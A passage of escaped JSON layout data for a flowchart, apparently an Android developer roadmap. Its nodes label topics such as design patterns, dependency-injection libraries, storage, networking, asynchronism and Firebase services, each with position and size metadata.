\"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZF5XgO7I_J9928bD3CVXo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.3396021840554,\n        \"y\": 1395.0573321226304\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Repository Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1049.3396021840554,\n        \"y\": 1395.0573321226304\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"784fiIdKrQDlIm3VIiJQN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1448.0573321226304\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Builder Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1448.0573321226304\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DeOxj6RzQBYfEWV-M1Ybm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1501.0573321226304\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Factory Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1501.0573321226304\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N_auRfGKkeIIc-qiHLkR_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1557.6137520699554\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Observer Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1557.6137520699554\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W-WTIiQml8dLK6i_V69JK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1613.1260426182998\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1613.1260426182998\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xk0vnWr7uESdzYRxwFjoK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1165.3396021840554,\n        \"y\": 1666.1260426182998\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxJava\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1165.3396021840554,\n        \"y\": 1666.1260426182998\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7rbsp1o5bzIJP11BRIoeG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1666.1260426182998\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxKotlin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1666.1260426182998\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TiokceMGU9caqiR0lbFYL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1719.1260426182998\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LiveData\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1719.1260426182998\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZbuCx3ygIZPRS_9fp0AJg\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1822.5939340801478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"cjH8XWlBk0ZBpvxGJ1gsn\"\n      },\n      \"zIndex\": -999,\n      \"width\": 214,\n      \"height\": 187,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 187\n      },\n      \"positionAbsolute\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1822.5939340801478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 187\n      }\n    },\n    {\n      \"id\": \"qtXM9K7wyjOFuEMlZrB3C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1787.7811417023727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"N_auRfGKkeIIc-qiHLkR_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1787.7811417023727\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CK7Ce632fdTgxeFsRUVvd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1843.2934322507172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dagger\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W-WTIiQml8dLK6i_V69JK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1843.2934322507172\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UMqZ-jmXKDXKuu8bzqDH_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1155.3396021840554,\n        \"y\": 1896.2934322507172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Koin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xk0vnWr7uESdzYRxwFjoK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1155.3396021840554,\n        \"y\": 1896.2934322507172\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ooo_k2k_vUBR_jQ7Ke6Et\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1060.5878072165665,\n        \"y\": 1896.2934322507172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hilt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7rbsp1o5bzIJP11BRIoeG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1060.5878072165665,\n        \"y\": 1896.2934322507172\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dc7k50PjCYZcElHhCk66p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1949.2934322507172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kodein\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TiokceMGU9caqiR0lbFYL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1059.3396021840554,\n        \"y\": 1949.2934322507172\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0fNQWRxst8xRstIfPaPO6\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 862.8618127280065,\n        \"y\": 1242.53766067362\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 862.8618127280065,\n        \"y\": 1242.53766067362\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PKql1HY0PLMfp50FRELXL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1167.833115751315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shared Preferences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ww0fTbdXwVr-QIOClU7ng\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1167.833115751315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GWq3s1iTxQOp1BstHscJ9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1220.833115751315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DataStore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1220.833115751315\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bfg4So5RlI09zFNcburJd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1273.833115751315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Room Database\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1273.833115751315\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A4kdaj6AFueUgPI7hwKi5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1326.833115751315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"File System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.4645995838063,\n        \"y\": 1326.833115751315\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yb6aKJMMCxU1QVltWg3Dr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 860.4237456884,\n        \"y\": 1431.0377047250465\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Network\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 860.4237456884,\n        \"y\": 1431.0377047250465\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dDMRYiqrKyOBnRRQc8zsp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 825.3442487157158,\n        \"y\": 1518.6292267165663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Retro\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ww0fTbdXwVr-QIOClU7ng\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 825.3442487157158,\n        \"y\": 1518.6292267165663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5pVuwOItAhUxxJX8ysAsn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 825.3442487157158,\n        \"y\": 1571.6292267165663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OkHttp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ww0fTbdXwVr-QIOClU7ng\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 825.3442487157158,\n        \"y\": 1571.6292267165663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ww0fTbdXwVr-QIOClU7ng\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 825.3442487157158,\n        \"y\": 1624.6292267165663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apollo-Android\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 825.3442487157158,\n        \"y\": 1624.6292267165663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cFYZ2C7yNnY6NHKUNP2Z4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1431.0377047250465\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchronism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1431.0377047250465\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i_cKmTnGAYw8xpHwZHjAd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1522.7758924094805\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Coroutines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1522.7758924094805\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BeGrA5BDBMZP1Jy7n-wl-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 662.4645995838063,\n        \"y\": 1523.7661110082904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 662.4645995838063,\n        \"y\": 1523.7661110082904\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zXsNEyRbb8UpEOAUv6FpY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1575.7758924094805\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxJava\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1575.7758924094805\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4h37WBpYxRRyw9oH8ge7o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 662.4645995838063,\n        \"y\": 1576.7661110082904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxKotlin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 662.4645995838063,\n        \"y\": 1576.7661110082904\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OAb_JD64uGm2tPoue7w6t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1627.84460290515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WorkManager\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.4645995838063,\n        \"y\": 1627.84460290515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZEdn2yy-IwHN3kOYr2ZbC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 209.56414449780618,\n        \"y\": 1661.4265444477305\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 209.56414449780618,\n        \"y\": 1661.4265444477305\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xv0es_z64vh-QzivMeAT3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1172.1577089522766\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1172.1577089522766\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xB4evbD07n1VrHOIpowV4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1225.1577089522766\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Crashlytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1225.1577089522766\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Tz-Shj_Tuz2U8llEAcLr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1278.1577089522768\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Remote Config\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1278.1577089522768\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e3vHFaFFMV7kI9q6yf5e9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1331.1577089522768\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Messaging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1331.1577089522768\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3EEfKAd-ppIQpdQSEhbA1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1384.1577089522768\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FireStore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.0349540213482,\n        \"y\": 1384.1577089522768\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2baqKY9TdQnPS8ydPlXEu\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 283.5349540213482,\n        \"y\": 1435.3087759477473\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Firebase\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 283.5349540213482,\n        \"y\": 1435.3087759477473\n      